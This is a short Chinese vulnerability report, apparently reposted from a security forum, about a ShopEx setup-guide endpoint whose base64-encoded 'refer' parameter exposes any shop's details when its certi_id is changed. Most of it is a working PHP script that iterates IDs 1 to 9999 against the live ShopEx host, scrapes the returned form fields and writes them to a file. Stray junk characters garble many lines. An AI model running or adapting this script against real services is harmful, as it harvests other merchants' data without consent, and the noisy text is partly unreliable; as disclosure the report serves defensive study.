ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
- x2 m) p0 o" M. b6 E: ?; TShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面

( [$ Z- X' U6 v" G: a( T4 u
  a1 |7 f4 r3 I+ `3 ?, }& u
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

7 p- P- f' b: ~! ], b

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

+ Z- e2 d+ U' o8 i1 e

/ }* Z* K" u6 g& U我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
- g4 _; g3 q' F; I
: k8 ?) |% D- p% j) y- V
4 g3 |6 @4 G; w7 T
<?php
2 t* t2 P1 w) Y/ {
. J. I) r7 d5 X7 o" b                for ($i=1; $i < 10000; $i++) { //遍历

2 P# `! B& l# _9 x/ L; r6 s: V* w                        ShowshopExD($i);

                }
) t  U2 t8 S4 V3 a# H( E/ k
                function ShowshopExD($cid) {

2 m" y* Y: i! }  K0 K1 @                $url='http://guide.ecos.shopex.cn/step2.php';
/ _; [. E4 Z7 t4 s
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
$ b/ C8 Z, P+ e7 P$ W
        $url = $url.'?refer='.$refer;

' y( q& v+ h$ S- \: @0 Z! ^$ d        $ch = curl_init($url);
1 A! [$ q! R, b5 H
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
. G& T) b6 }3 }
( i* f1 O" H% L1 G* u- J* `5 @        $result = curl_exec($ch);
- K5 |- g: @, `4 I9 O& d
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
1 X. c; a' }7 d, d
4 V& e" f9 C# @1 w; L        if(strpos($result,$refer))

+ B' i+ N+ x! i5 i1 \+ M, {        {

( Y3 [, A4 y  X$ R/ J6 O                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
. S$ E* X' k  w
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
# A$ O1 l4 e* f1 i) [+ {
( }+ M# S( l5 S! K2 x3 Y                foreach ($value[1] as $key) {

5 ~2 C( o: l# `3 V6 f' f                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

; T5 m# N& N8 v. A; T                        echo $res[1][0].':'.$res[3][0]."\r\n";
3 M' X8 I/ B, B* b" \. y1 ^
& D9 I; Y' J1 f6 z1 N; ]                        $col =$res[1][0].':'.$res[3][0]."\r\n";
: i6 F7 P+ @- M
* s5 w3 ~1 _+ {7 O7 X                        fwrite($fp, $col, strlen($col));
6 d( V6 f  Z7 H1 Z
                }
/ G8 H& h# R$ n! B) U4 y% K. r
                echo '--------------------------------'."\r\n";

                fclose($fp);
. o# v: v6 a8 k
        }

        flush();

        curl_close($ch);

                }
6 ^+ Q3 W3 T8 T6 z$ q5 V6 @
5 D* I; e# f% w0 Q. Q2 I?>
; f1 P$ B- s- x0 F' |# A' O漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
, `- L7 j" l% ~1 s( {1 |) n0 Yrefer换成其他加密方式